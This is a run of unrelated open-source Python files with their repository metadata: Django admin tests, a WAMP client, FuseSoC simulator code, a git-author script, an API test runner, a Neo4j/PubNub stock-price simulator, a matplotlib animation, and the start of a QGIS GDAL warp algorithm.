"dependentchild_set-0-family_name": "Test2"} response = self.client.post('/test_admin/admin/admin_views/parentwithdependentchildren/add/', post_data) # just verifying the parent form failed validation, as expected -- # this isn't the regression test self.assertIn('some_required_info', response.context['adminform'].form.errors) # actual regression test for error_set in response.context['inline_admin_formset'].formset.errors: self.assertEqual(['Children must share a family name with their parents in this contrived test case'], error_set.get('__all__')) def test_change_view_form_and_formsets_run_validation(self): """ Issue #20522 Verifying that if the parent form fails validation, the inlines also run validation even if validation is contingent on parent form data """ pwdc = ParentWithDependentChildren.objects.create(some_required_info=6, family_name="Test1") # The form validation should fail because 'some_required_info' is # not included on the parent form, and the family_name of the parent # does not match that of the child post_data = {"family_name": "Test2", "dependentchild_set-TOTAL_FORMS": "1", "dependentchild_set-INITIAL_FORMS": "0", "dependentchild_set-MAX_NUM_FORMS": "1", "dependentchild_set-0-id": "", "dependentchild_set-0-parent": str(pwdc.id), "dependentchild_set-0-family_name": "Test1"} response = self.client.post('/test_admin/admin/admin_views/parentwithdependentchildren/%d/' % pwdc.id, post_data) # just verifying the parent form failed validation, as expected -- # this isn't the regression test self.assertIn('some_required_info', response.context['adminform'].form.errors) # actual regression test for error_set in response.context['inline_admin_formset'].formset.errors: self.assertEqual(['Children must share a family name with their parents in this contrived test case'], error_set.get('__all__')) def test_check(self): "Ensure that the view_on_site value is either a boolean or a callable" try: CityAdmin.view_on_site = True self.assertEqual(CityAdmin.check(City), []) CityAdmin.view_on_site = False self.assertEqual(CityAdmin.check(City), []) CityAdmin.view_on_site = lambda obj: obj.get_absolute_url() self.assertEqual(CityAdmin.check(City), []) CityAdmin.view_on_site = [] self.assertEqual(CityAdmin.check(City), [ Error( "The value of 'view_on_site' must be a callable or a boolean value.", hint=None, obj=CityAdmin, id='admin.E025', ), ]) finally: # Restore the original values for the benefit of other tests. CityAdmin.view_on_site = True def test_false(self): "Ensure that the 'View on site' button is not displayed if view_on_site is False" response = self.client.get('/test_admin/admin/admin_views/restaurant/1/') content_type_pk = ContentType.objects.get_for_model(Restaurant).pk self.assertNotContains(response, '"/test_admin/admin/r/%s/1/"' % content_type_pk, ) def test_true(self): "Ensure that the default behavior is followed if view_on_site is True" response = self.client.get('/test_admin/admin/admin_views/city/1/') content_type_pk = ContentType.objects.get_for_model(City).pk self.assertContains(response, '"/test_admin/admin/r/%s/1/"' % content_type_pk, ) def test_callable(self): "Ensure that the right link is displayed if view_on_site is a callable" response = self.client.get('/test_admin/admin/admin_views/worker/1/') worker = Worker.objects.get(pk=1) self.assertContains(response, '"/worker/%s/%s/"' % (worker.surname, worker.name), ) def test_missing_get_absolute_url(self): "Ensure None is returned if model doesn't have get_absolute_url" model_admin = ModelAdmin(Worker, None) self.assertIsNone(model_admin.get_view_on_site_url(Worker())) @override_settings(PASSWORD_HASHERS=('django.contrib.auth.hashers.SHA1PasswordHasher',), ROOT_URLCONF="admin_views.urls") class InlineAdminViewOnSiteTest(TestCase): fixtures = ['admin-views-users.xml', 'admin-views-restaurants.xml'] def setUp(self): self.client.login(username='super', password='secret') def tearDown(self): self.client.logout() def test_false(self): "Ensure that the 'View on site' button is not displayed if view_on_site is False" response = self.client.get('/test_admin/admin/admin_views/state/1/') content_type_pk = ContentType.objects.get_for_model(City).pk self.assertNotContains(response, '/test_admin/admin/r/%s/1/' % content_type_pk, ) def test_true(self): "Ensure that the 'View on site' button is displayed if view_on_site is True" response = self.client.get('/test_admin/admin/admin_views/city/1/') content_type_pk = ContentType.objects.get_for_model(Restaurant).pk self.assertContains(response, '/test_admin/admin/r/%s/1/' % content_type_pk, ) def test_callable(self): "Ensure that the right link is displayed if view_on_site is a callable" response = self.client.get('/test_admin/admin/admin_views/restaurant/1/') worker = Worker.objects.get(pk=1) self.assertContains(response, '"/worker_inline/%s/%s/"' % (worker.surname, worker.name), ) class AdminGenericRelationTests(TestCase): def test_generic_relation_fk_list_filter(self): """ Validates a model with a generic relation to a model with a foreign key can specify the generic+fk relationship path as a list_filter. See trac #21428. """ class GenericFKAdmin(ModelAdmin): list_filter = ('tags__content_type',) validator = ModelAdminValidator() try: validator.validate_list_filter(GenericFKAdmin, Plot) except ImproperlyConfigured: self.fail("Couldn't validate a GenericRelation -> FK path in ModelAdmin.list_filter") @override_settings(ROOT_URLCONF="admin_views.urls") class TestEtagWithAdminView(TestCase): # See https://code.djangoproject.com/ticket/16003 def test_admin(self): with self.settings(USE_ETAGS=False): response = self.client.get('/test_admin/admin/') self.assertEqual(response.status_code, 302) self.assertFalse(response.has_header('ETag')) with self.settings(USE_ETAGS=True): response = self.client.get('/test_admin/admin/') self.assertEqual(response.status_code, 302) self.assertTrue(response.has_header('ETag')) @override_settings( PASSWORD_HASHERS=('django.contrib.auth.hashers.SHA1PasswordHasher',), ROOT_URLCONF="admin_views.urls", ) class GetFormsetsWithInlinesArgumentTest(TestCase): """ #23934 - When adding a new model instance in the admin, the 'obj' argument of get_formsets_with_inlines() should be None. When changing, it should be equal to the existing model instance. The GetFormsetsArgumentCheckingAdmin ModelAdmin throws an exception if obj is not None during add_view or obj is None during change_view. """ fixtures = ['admin-views-users.xml'] def setUp(self): self.client.login(username='super', password='secret') def test_explicitly_provided_pk(self): post_data = {'name': '1'} try: response = self.client.post('/test_admin/admin/admin_views/explicitlyprovidedpk/add/', post_data) except Exception as e: self.fail(e) self.assertEqual(response.status_code, 302) post_data = {'name': '2'} try: response = self.client.post('/test_admin/admin/admin_views/explicitlyprovidedpk/1/', post_data) except Exception as e: self.fail(e) self.assertEqual(response.status_code, 302) def test_implicitly_generated_pk(self): post_data = {'name': '1'} try: response = self.client.post('/test_admin/admin/admin_views/implicitlygeneratedpk/add/', post_data) except Exception as e: self.fail(e) self.assertEqual(response.status_code, 302) post_data = {'name': '2'} try: response = self.client.post('/test_admin/admin/admin_views/implicitlygeneratedpk/1/', post_data) except Exception as e: self.fail(e) self.assertEqual(response.status_code, 302)
bsd-3-clause
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tpainter/df_everywhere
df_everywhere/util/wamp_local.py
1
5054
# DF Everywhere # Copyright (C) 2014 Travis Painter # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # You should have received a copy of the GNU General Public License along # with this program; if not, write to the Free Software Foundation, Inc., # 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. from twisted.internet import reactor from twisted.internet.endpoints import clientFromString from twisted.internet.protocol import ReconnectingClientFactory from autobahn.twisted.wamp import ApplicationSessionFactory from autobahn.twisted.wamp import ApplicationSession from autobahn.twisted.websocket import WampWebSocketClientFactory from autobahn.wamp import types from autobahn.wamp import auth class SubpubTileset(ApplicationSession): """ An application component that subscribes and receives events. """ def onConnect(self): self.join(self.config.realm, [u"wampcra"], self.config.extra['topic']) def onChallenge(self, challenge): #print challenge if challenge.method == u"wampcra": if u'salt' in challenge.extra: key = auth.derive_key(self.config.extra['topic'], challenge.extra['salt'], challenge.extra.get('iterations', None), challenge.extra.get('keylen', None)) else: key = self.config.extra['topic'] signature = auth.compute_wcs(key, challenge.extra['challenge']) return signature else: raise Exception("don't know how to compute challenge for authmethod {}".format(challenge.method)) def onJoin(self, details): if not self in self.factory._myConnection: self.factory._myConnection.append(self) def onLeave(self, details): if self in self.factory._myConnection: self.factory._myConnection.remove(self) self.disconnect() class MyClientFactory(WampWebSocketClientFactory, ReconnectingClientFactory): #from: https://gist.github.com/DenJohX/e6d0864738da10cb9685 def clientConnectionFailed(self, connector, reason): print "*************************************" print "Connection Failed" print "reason:", reason print "*************************************" ReconnectingClientFactory.clientConnectionFailed(self, connector, reason) def clientConnectionLost(self, connector, reason): print "*************************************" print "Connection Lost" print "reason:", reason print "*************************************" ReconnectingClientFactory.clientConnectionLost(self, connector, reason) def wampServ(wampAddress, wampPort, wampDebug = False): """ Sets up an Autobahn|Python WAMPv2 server. Code modified from WAMP documentation. """ from twisted.internet.endpoints import serverFromString from autobahn.wamp.router import RouterFactory from autobahn.twisted.wamp import RouterSessionFactory from autobahn.twisted.websocket import WampWebSocketServerFactory ## create a WAMP router factory router_factory = RouterFactory() ## create a WAMP router session factory session_factory = RouterSessionFactory(router_factory) ## create a WAMP-over-WebSocket transport server factory transport_factory = WampWebSocketServerFactory(session_factory, wampAddress, debug = wampDebug) transport_factory.setProtocolOptions(failByDrop = False) ## Start websocket server server = serverFromString(reactor, wampPort) server.listen(transport_factory) def wampClient(wampAddress, wampClientEndpoint, topic, key): """ Sets up an Autobahn|python WAMPv2 client. Code modified from WAMP documentation. """ component_config = types.ComponentConfig(realm = "realm1", extra = {'key': unicode(key), 'topic': unicode(topic)}) session_factory = ApplicationSessionFactory(config = component_config) session_factory._myConnection = [] session_factory.session = SubpubTileset ## create a WAMP-over-WebSocket transport client factory #transport_factory = WampWebSocketClientFactory(session_factory, wampAddress, debug = False) transport_factory = MyClientFactory(session_factory, wampAddress, debug = False, debug_wamp = False) transport_factory.setProtocolOptions(failByDrop = False) ## start a WebSocket client from an endpoint client = clientFromString(reactor, wampClientEndpoint) client.connect(transport_factory) return session_factory._myConnection
gpl-2.0
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andrzej-r/fusesoc
fusesoc/simulator/simulator.py
1
5975
from fusesoc.config import Config from fusesoc.coremanager import CoreManager from fusesoc.utils import Launcher, pr_info, pr_err import argparse import shutil import os import logging import sys if sys.version_info[0] >= 3: import urllib.request as urllib from urllib.error import URLError else: import urllib from urllib2 import URLError logger = logging.getLogger(__name__) class _Verilog(object): def __init__(self): self.src_files = [] self.include_files = [] self.include_dirs = [] self.tb_src_files = [] self.tb_private_src_files = [] self.tb_include_files = [] self.tb_include_dirs = [] class Simulator(object): def __init__(self, system): config = Config() self.system = system self.build_root = os.path.join(config.build_root, self.system.name) self.src_root = os.path.join(self.build_root, 'src') if 'toplevel' in self.system.simulator: self.toplevel = self.system.simulator['toplevel'] else: self.toplevel = 'orpsoc_tb' self.vpi_modules = [] self.cm = CoreManager() self.cores = self.cm.get_depends(self.system.name) logger.debug( "depend --> " +str (self.cores)) self.env = os.environ.copy() self.env['CORE_ROOT'] = os.path.abspath(self.system.core_root) self.env['BUILD_ROOT'] = os.path.abspath(self.build_root) self.env['SIMULATOR'] = self.TOOL_NAME self.verilog = _Verilog() for core_name in self.cores: logger.debug('core_name=' + core_name) core = self.cm.get_core(core_name) if core.verilog: if core.verilog.include_dirs: logger.debug('core.include_dirs=' + str(core.verilog.include_dirs)) else: logger.debug('core.include_dirs=None') self.verilog.include_dirs += [os.path.join(self.src_root, core_name, d) for d in core.verilog.include_dirs] self.verilog.tb_include_dirs += [os.path.join(self.src_root, core_name, d) for d in core.verilog.tb_include_dirs] self.verilog.src_files += [os.path.join(self.src_root, core_name, f) for f in core.verilog.src_files] self.verilog.tb_src_files += [os.path.join(self.src_root, core_name, f) for f in core.verilog.tb_src_files] if core_name == self.system.name: self.verilog.tb_src_files += [os.path.join(self.src_root, core_name, f) for f in core.verilog.tb_private_src_files] if core.vpi: vpi_module = {} core_root = os.path.join(self.src_root, core_name) vpi_module['include_dirs'] = [os.path.abspath(os.path.join(core_root, d)) for d in core.vpi.include_dirs] vpi_module['src_files'] = [os.path.abspath(os.path.join(core_root, f)) for f in core.vpi.src_files] vpi_module['name'] = core.name vpi_module['libs'] = [l for l in core.vpi.libs] self.vpi_modules += [vpi_module] def configure(self): if os.path.exists(self.sim_root): for f in os.listdir(self.sim_root): if os.path.isdir(os.path.join(self.sim_root, f)): shutil.rmtree(os.path.join(self.sim_root, f)) else: os.remove(os.path.join(self.sim_root, f)) else: os.makedirs(self.sim_root) self.env['SIM_ROOT'] = os.path.abspath(self.sim_root) for name in self.cores: pr_info("Preparing " + name) dst_dir = os.path.join(Config().build_root, self.system.name, 'src', name) core = self.cm.get_core(name) try: core.setup() except URLError as e: raise RuntimeError("Problem while fetching '" + core.name + "': " + str(e.reason)) except urllib.HTTPError as e: raise RuntimeError("Problem while fetching '" + core.name + "': " + str(e.reason)) core.export(dst_dir) def build(self): for script in self.system.pre_build_scripts: script = os.path.abspath(os.path.join(self.system.core_root, script)) pr_info("Running " + script); try: Launcher(script, cwd = self.sim_root, env = self.env, shell=True).run() except RuntimeError: pr_err("Error: script " + script + " failed") return def run(self, args): parser = argparse.ArgumentParser(prog ='fusesoc sim '+self.system.name, conflict_handler='resolve') for name in self.cores: core = self.cm.get_core(name) if core.plusargs: core.plusargs.add_arguments(parser) p = parser.parse_args(args) self.plusargs = [] for key,value in vars(p).items(): if value == True: self.plusargs += [key] elif value == False or value is None: pass else: self.plusargs += [key+'='+str(value[0])] for script in self.system.pre_run_scripts: script = os.path.abspath(os.path.join(self.system.core_root, script)) pr_info("Running " + script); try: Launcher(script, cwd = self.sim_root, env = self.env, shell=True).run() except RuntimeError: pr_err("Error: script " + script + " failed") def done(self, args): for script in self.system.post_run_scripts: script = os.path.abspath(os.path.join(self.system.core_root, script)) pr_info("Running " + script); try: Launcher(script, cwd = self.sim_root, env = self.env, shell=True).run() except RuntimeError: pr_err("Error: script " + script + " failed")
gpl-3.0
-1,031,246,171,377,463,400
38.57
138
0.558
false
chouseknecht/galaxy
update-authors.py
1
1234
#!/usr/bin/env python # -*- coding: utf-8 -*- from __future__ import absolute_import, print_function, unicode_literals import logging logger = logging.getLogger(__name__) import subprocess from collections import defaultdict user_scores = defaultdict(int) git_log = subprocess.check_output("git log --shortstat --no-merges --pretty='%aN <%aE>'", shell=True) log_entries = git_log.decode('utf-8').strip().split('\n') while log_entries: author = log_entries.pop(0) _ = log_entries.pop(0) commit_line = log_entries.pop(0) commit_parts = [s.strip() for s in commit_line.split(', ')] for clause in commit_parts: count, action = clause.split(' ', 1) if action.endswith('(+)'): user_scores[author] += int(count) elif action.endswith('(-)'): user_scores[author] += int(count) else: user_scores[author] += int(count) sorted_user_scores = sorted(user_scores.items(), key=lambda tpl: tpl[1], reverse=True) print("Galaxy has been contribued to by the following authors:\n" "This list is automatically generated - please file an issue for corrections)\n") for author, _ in sorted_user_scores: print(author)
apache-2.0
1,582,264,523,541,947,400
32.351
89
0.635
false
mxgnene01/itester
itester/test_main.py
1
3065
#!/usr/bin/env python # -*- coding: utf-8 -*- # # Meng xiangguo <mxgnene01@gmail.com> # # _____ ______ # ____==== ]OO|_n_n__][. | |] # [________]_|__|________)< |MENG| # oo oo 'oo OOOO-| oo\_ ~o~~~o~' # +--+--+--+--+--+--+--+--+--+--+--+--+--+ # 2017/10/16 下午5:47 import os import nose import json import requests from common.parameterized import parameterized from common.tools import assertDictContains, prepareStrToDict, prepareRequestsParam, findAllFile, encodeutf8 path = os.getenv('ITESTER_CASE_PATH', os.path.join(os.path.dirname(os.path.abspath(__file__)), '../testcase')) TEST_CASES = findAllFile(path) class test_iterster(): ''' 测试的主入口类 ''' @parameterized.expand(TEST_CASES) def test_runcase(self, name, desc, use_yn, method, url, headers, cookies, params, expect_value, func, proxies_proxy): ''' 接口的测试 - 主方法 :param name: case 名称 :param desc: case的详细描述 :param method: GET/POST :param url: 调用的接口 :param headers: h1: v1\n h2: v2 :param cookies: c1: v1\n c2: v2 :param param: key1=value1&key2=value2 :param expect_value: 预计返回值 :param func:assert_equal - 预计返回值和实际返回值相等/assert_in - 实际返回值包含预计返回值 :param proxies_proxy - 代理设置 ''' headers_dict = prepareStrToDict(headers) cookies_dict = prepareStrToDict(cookies) if params: try: params_dict = prepareRequestsParam(params) except: # params 为json格式 params_dict = json.dumps(json.loads(params)) headers_dict['content-type'] = 'application/json' else: params_dict = {} proxies = { "http": proxies_proxy, "https": proxies_proxy, } if method == "GET": if proxies_proxy: response = requests.get(url, headers=headers_dict, cookies=cookies_dict, params=params_dict, proxies=proxies) else: response = requests.get(url, headers=headers_dict, cookies=cookies_dict, params=params_dict) elif method == "POST": if proxies_proxy: response = requests.post(url, headers=headers_dict, cookies=cookies_dict, data=params_dict, proxies=proxies) else: response = requests.post(url, headers=headers_dict, cookies=cookies_dict, data=params_dict) if func == 'assert_equal': error_lists = assertDictContains(expect_value, response.content, u'node:', err_list=[]) elif func == 'assert_in': error_lists = assertDictContains(json.loads(expect_value), response.json(), u'node:', err_list=[]) if len(error_lists) > 0: raise AssertionError("%s error" % name) else: return if __name__ == '__main__': nose.run()
gpl-3.0
7,690,977,383,853,747,000
34.72
125
0.557
false
davidfauth/neo4j-pubnub
server/stocktickerneo.py
1
8629
import sys import threading from Queue import Queue import time import datetime import random import json import py2neo from py2neo import Graph, Path NEO_PROTOCOL = 'http' NEO_HOST = 'localhost' NEO_PORT = 7474 NEO_USER = 'neo4j' NEO_PASSWORD = 'password' from Pubnub import Pubnub ''' Global Data - Queue ''' globalQueueRef = None ''' Client Listener Thread ''' class ClientListenerThread(threading.Thread): def __init__(self,server,port,queueRef,pnb): threading.Thread.__init__(self) graph = Graph('%s://%s:%s@%s:%s/db/data/' % (NEO_PROTOCOL, NEO_USER, NEO_PASSWORD, NEO_HOST, NEO_PORT)) self.clientQueue = queueRef self.pnb = pnb def run(self): try : while True : print "Before queue block" data = self.clientQueue.get() print "After queue block" print data req = json.loads(data) # self.publishPriceHistory(req['name'],req['backtime'],req['channel']) except Exception as e: print "Failure in Client Request Handling" print e def publishPriceHistory(self,idxname,time,channel): broadcastDict = [] timefrom = self.getLastUpdateTime(idxname) timefrom = timefrom - (time * 60) it = self.coll.find({'name': idxname , 'time' : { '$gte' : timefrom } }) for item in it: broadcastDict.append({ "name" : item['name'], "value" : item['value'], "change" : item['change'], "time" : item['time'] }) broadcastData = json.dumps(broadcastDict) print 'Broadcasting Price History : ' + broadcastData self.pnb.publish(channel,broadcastData) def getLastUpdateTime(self,idxname): query = [{'$group': {'_id': '$name', 'maxValue': {'$max': '$time'}}}] result = self.coll.aggregate(query) for entry in result['result']: if (entry['_id'] == idxname): return entry['maxValue'] return None ''' Description - Main server loop Data will be stored in the following JSON format { "name" : "NASDAQ" , "value" : "6345.25" , "change" : "+13.45" , "time" : 1412322567 } ''' def startStockPicker(server,port): global globalQueueRef global graph #Step 1 - Initialize MongoDB & PubNub Connection # py2neo.set_auth_token('%s:%s' % (NEO_HOST, NEO_PORT), NEO_AUTH_TOKEN) graph = Graph('%s://%s:%s@%s:%s/db/data/' % (NEO_PROTOCOL, NEO_USER, NEO_PASSWORD, NEO_HOST, NEO_PORT)) #YOUR PUBNUB KEYS - Replace the publish_key and subscriber_key below with your own keys pubnub = Pubnub(publish_key="<your pub key>",subscribe_key="<your sub key>") #Step 2 - Check and define the metadata ( index names ) metaDataInit() #Step 3 - Set the parameters , max periodicity , random range updateTime = 10 #Max ten seconds for every price update numOfItems = 4 #Four indices to manage random.seed() #Step 4 - Setup the Queue and ClientListener Thread clientQueue = Queue() clientListener = ClientListenerThread(server,port,clientQueue,pubnub) clientListener.start() globalQueueRef = clientQueue #Step 5 - Setup PubNub Subscription for client requests pubnub.subscribe("stockhistory", historyCallback,historyError) #Step 6 - Start the stock picking loop while True: #Step 6.1 - Wait for random time time.sleep(random.randint(1,updateTime)) #Step 6.2 - Wake up and update the stock price for one of the index newPriceData = getUpdatedPrice() #Step 6.3 - Update the new price in DB print "New Price Update " + str(newPriceData) #Step 6.4 - Publish over Pubnub , stockdata channel broadcastData = { 'name' : newPriceData['name'], 'value' : newPriceData['value'], 'change' : newPriceData['change'], 'time' : newPriceData['time'], } pubnub.publish('stockdata',json.dumps(broadcastData)) ''' Description - Populate the index names to track and initial database ''' def metaDataInit(): global metadataDescr #Four major world indices to manage metadataDescr = ['NASDAQ','DOWJONES','FTSE','NIKKEI'] cyres = graph.cypher.execute("""MERGE (s:Stock {name:'FTSE', value:6637.92, change:-16.02 , time : 1})"""); cyres = graph.cypher.execute("""MERGE (s:Stock {name:'NASDAQ', value:4630.60, change:+6.06 , time : 1})"""); cyres = graph.cypher.execute("""MERGE (s:Stock {name:'DOWJONES', value:17630.60, change:-36.02 , time : 1})"""); cyres = graph.cypher.execute("""MERGE (s:Stock {name:'NIKKEI', value:17336.12, change:-23.02 , time : 1})"""); ''' Description - This function simulates the stock index price update Gets the new price details for indices based on random selection Return - Returns the JSON formatted index name, price , delta and time ''' def getUpdatedPrice(): #Random select the index whose price is to be updated idx = random.sample(metadataDescr,1) #Randomly get a price increment in range of 1.0 to 10.0 #It is assumed that price delta will always be in this range pricedelta = round(random.uniform(1.0,10.0),2) #Randomly get the direction of price change #Either positive or negative pricedir = random.randint(0,1) #Get the current price of index #currprice = getCurrentPrice(coll,idx[0]) queryString = """MATCH (s:Stock {name:'""" queryString = queryString + idx[0] queryString = queryString + """'}) return s.value""" print queryString cyres = graph.cypher.execute(queryString); print cyres for r in cyres: currprice = r[0] #Calculate new price of index based on pricedelta and pricedir if(pricedir): newprice = round(currprice + pricedelta,2) pricedeltastr = '+'+str(pricedelta) else : newprice = round(currprice - pricedelta,2) pricedeltastr = '-'+str(pricedelta) queryString = """MATCH (s:Stock {name:'""" queryString = queryString + idx[0] queryString = queryString + """'}) SET s.value = """ + str(newprice) print queryString cyres = graph.cypher.execute(queryString); print "New Price for " + " : " + str(newprice) #Get the current time of update updateTime = getCurrentTimeInSecs() #Return the new index price return { 'name' : idx[0] , 'value' : newprice , 'change' : pricedeltastr , 'time' : updateTime } ''' Description - This function fetches the most recent price update of an index idxname Returns - Last updated price ''' def getCurrentPrice(coll,idxname): query = [{'$group': {'_id': '$name', 'maxValue': {'$max': '$time'}}}] result = coll.aggregate(query) for entry in result['result']: if (entry['_id'] == idxname): it = coll.find({'name' : idxname , 'time' : entry['maxValue'] }).limit(1) val = it.next()['value'] print "Last Updated Price for " + idxname + " : " + str(val) return val return None ''' Description - This function simulates the stock index price update Gets the new price details for indices based on random selection Return - Returns the JSON formatted index name, price , delta and time ''' def getUpdatedPrice(coll): #Random select the index whose price is to be updated idx = random.sample(metadataDescr,1) #Randomly get a price increment in range of 1.0 to 10.0 #It is assumed that price delta will always be in this range pricedelta = round(random.uniform(1.0,10.0),2) #Randomly get the direction of price change #Either positive or negative pricedir = random.randint(0,1) #Get the current price of index currprice = getCurrentPrice(coll,idx[0]) #Calculate new price of index based on pricedelta and pricedir if(pricedir): newprice = round(currprice + pricedelta,2) pricedeltastr = '+'+str(pricedelta) else : newprice = round(currprice - pricedelta,2) pricedeltastr = '-'+str(pricedelta) print "New Price for " + idx[0] + " : " + str(newprice) #Get the current time of update updateTime = getCurrentTimeInSecs() #Return the new index price return { 'name' : idx[0] , 'value' : newprice , 'change' : pricedeltastr , 'time' : updateTime } ''' Description - Get the current system time in unix timestamp format ''' def getCurrentTimeInSecs(): dtime = datetime.datetime.now() ans_time = time.mktime(dtime.timetuple()) return int(ans_time) ''' PubNub Callback for inciming requests on global listening channel ''' def historyCallback(message, channel): global globalQueueRef print "Received Historical Data Request :" + message globalQueueRef.put(message) # Read end in the CLientListenerThread def historyError(message): print "Error in receiving Historical Data Request : " + message if __name__ == '__main__': print sys.argv if (len(sys.argv) == 3): startStockPicker(sys.argv[1],int(sys.argv[2])) else: print "Error in arguments"
mit
-6,604,526,154,781,309,000
24.758
113
0.676
false
theodoregoetz/clas12-dc-wiremap
scratch/dcwiremap.py
1
1201
import time import numpy as np from numpy import random as rand from matplotlib import pyplot, gridspec, animation data = rand.uniform(0,100,(36,6,112)) fig = pyplot.figure(1, (18,8)) axs = [] pts = [] sector_grid = gridspec.GridSpec(2,3,wspace=0.3,hspace=0.3) for sec in range(6): slyr_grid = gridspec.GridSpecFromSubplotSpec(6,1, wspace=0.0,hspace=0.1, subplot_spec=sector_grid[sec]) for slyr in range(6): axs += [fig.add_subplot(slyr_grid[slyr])] ax = axs[-1] pts += [ax.imshow(data[sec*6 + (5-slyr)], origin='lower', aspect='auto', interpolation='nearest', extent=[-0.5,111.5,-0.5,5.5])] if slyr == 0: ax.set_title('Sector '+str(sec+1)) ax.set_ylabel(str(6-slyr)) ax.xaxis.set_major_locator(pyplot.NullLocator()) ax.yaxis.set_major_locator(pyplot.NullLocator()) def update(i): data = rand.uniform(0,100,(36,6,112)) for sec in range(6): for slyr in range(6): i = sec*6 + slyr pt = pts[i] pt.set_data(data[i]) ani = animation.FuncAnimation(fig, update, np.arange(1, 200),interval=1) pyplot.show()
gpl-3.0
-583,575,538,828,056,300
25.689
72
0.582
false
drnextgis/QGIS
python/plugins/processing/algs/gdal/warp.py
1
9529
# -*- coding: utf-8 -*- """ *************************************************************************** self.py --------------------- Date : August 2012 Copyright : (C) 2012 by Victor Olaya Email : volayaf at gmail dot com *************************************************************************** * * * This program is free software; you can redistribute it and/or modify * * it under the terms of the GNU General Public License as published by * * the Free Software Foundation; either version 2 of the License, or * * (at your option) any later version. * * * *************************************************************************** """ from builtins import str __author__ = 'Victor Olaya' __date__ = 'August 2012' __copyright__ = '(C) 2012, Victor Olaya' # This will get replaced with a git SHA1 when you do a git archive __revision__ = '$Format:%H$' import os from qgis.PyQt.QtGui import QIcon from processing.algs.gdal.GdalAlgorithm import GdalAlgorithm from processing.core.parameters import ParameterRaster from processing.core.parameters import ParameterExtent from processing.core.parameters import ParameterSelection from processing.core.parameters import ParameterCrs from processing.core.parameters import ParameterNumber from processing.core.parameters import ParameterString from processing.core.parameters import ParameterBoolean from processing.core.outputs import OutputRaster from processing.algs.gdal.GdalUtils import GdalUtils pluginPath = os.path.split(os.path.split(os.path.dirname(__file__))[0])[0] class warp(GdalAlgorithm): INPUT = 'INPUT' OUTPUT = 'OUTPUT' SOURCE_SRS = 'SOURCE_SRS' DEST_SRS = 'DEST_SRS' METHOD = 'METHOD' METHOD_OPTIONS = ['near', 'bilinear', 'cubic', 'cubicspline', 'lanczos'] TR = 'TR' NO_DATA = 'NO_DATA' EXTRA = 'EXTRA' RTYPE = 'RTYPE' TYPE = ['Byte', 'Int16', 'UInt16', 'UInt32', 'Int32', 'Float32', 'Float64'] TILED = 'TILED' COMPRESS = 'COMPRESS' JPEGCOMPRESSION = 'JPEGCOMPRESSION' PREDICTOR = 'PREDICTOR' ZLEVEL = 'ZLEVEL' BIGTIFF = 'BIGTIFF' BIGTIFFTYPE = ['', 'YES', 'NO', 'IF_NEEDED', 'IF_SAFER'] COMPRESSTYPE = ['NONE', 'JPEG', 'LZW', 'PACKBITS', 'DEFLATE'] TFW = 'TFW' RAST_EXT = 'RAST_EXT' EXT_CRS = 'EXT_CRS' def getIcon(self): return QIcon(os.path.join(pluginPath, 'images', 'gdaltools', 'warp.png')) def defineCharacteristics(self): self.name, self.i18n_name = self.trAlgorithm('Warp (reproject)') self.group, self.i18n_group = self.trAlgorithm('[GDAL] Projections') self.tags = self.tr('transform,reproject,crs,srs') self.addParameter(ParameterRaster(self.INPUT, self.tr('Input layer'), False)) self.addParameter(ParameterCrs(self.SOURCE_SRS, self.tr('Source SRS'), '', optional=True)) self.addParameter(ParameterCrs(self.DEST_SRS, self.tr('Destination SRS'), 'EPSG:4326')) self.addParameter(ParameterString(self.NO_DATA, self.tr("Nodata value, leave blank to take the nodata value from input"), '', optional=True)) self.addParameter(ParameterNumber(self.TR, self.tr('Output file resolution in target georeferenced units (leave 0 for no change)'), 0.0, None, 0.0)) self.addParameter(ParameterSelection(self.METHOD, self.tr('Resampling method'), self.METHOD_OPTIONS)) self.addParameter(ParameterExtent(self.RAST_EXT, self.tr('Raster extent'), optional=True)) if GdalUtils.version() >= 2000000: self.addParameter(ParameterCrs(self.EXT_CRS, self.tr('CRS of the raster extent, leave blank for using Destination SRS'), optional=True)) params = [] params.append(ParameterSelection(self.RTYPE, self.tr('Output raster type'), self.TYPE, 5)) params.append(ParameterSelection(self.COMPRESS, self.tr('GeoTIFF options. Compression type:'), self.COMPRESSTYPE, 4)) params.append(ParameterNumber(self.JPEGCOMPRESSION, self.tr('Set the JPEG compression level'), 1, 100, 75)) params.append(ParameterNumber(self.ZLEVEL, self.tr('Set the DEFLATE compression level'), 1, 9, 6)) params.append(ParameterNumber(self.PREDICTOR, self.tr('Set the predictor for LZW or DEFLATE compression'), 1, 3, 1)) params.append(ParameterBoolean(self.TILED, self.tr('Create tiled output (only used for the GTiff format)'), False)) params.append(ParameterSelection(self.BIGTIFF, self.tr('Control whether the created file is a BigTIFF or a classic TIFF'), self.BIGTIFFTYPE, 0)) params.append(ParameterBoolean(self.TFW, self.tr('Force the generation of an associated ESRI world file (.tfw))'), False)) params.append(ParameterString(self.EXTRA, self.tr('Additional creation parameters'), '', optional=True)) for param in params: param.isAdvanced = True self.addParameter(param) self.addOutput(OutputRaster(self.OUTPUT, self.tr('Reprojected'))) def getConsoleCommands(self): noData = self.getParameterValue(self.NO_DATA) if noData is not None: noData = str(noData) srccrs = self.getParameterValue(self.SOURCE_SRS) dstcrs = self.getParameterValue(self.DEST_SRS) jpegcompression = str(self.getParameterValue(self.JPEGCOMPRESSION)) predictor = str(self.getParameterValue(self.PREDICTOR)) zlevel = str(self.getParameterValue(self.ZLEVEL)) tiled = str(self.getParameterValue(self.TILED)) compress = self.COMPRESSTYPE[self.getParameterValue(self.COMPRESS)] bigtiff = self.BIGTIFFTYPE[self.getParameterValue(self.BIGTIFF)] tfw = str(self.getParameterValue(self.TFW)) rastext = self.getParameterValue(self.RAST_EXT) rastext_crs = self.getParameterValue(self.EXT_CRS) arguments = [] arguments.append('-ot') arguments.append(self.TYPE[self.getParameterValue(self.RTYPE)]) if srccrs: arguments.append('-s_srs') arguments.append(srccrs) if dstcrs: arguments.append('-t_srs') arguments.append(dstcrs) if noData: arguments.append('-dstnodata') arguments.append(noData) arguments.append('-r') arguments.append( self.METHOD_OPTIONS[self.getParameterValue(self.METHOD)]) arguments.append('-of') out = self.getOutputValue(self.OUTPUT) 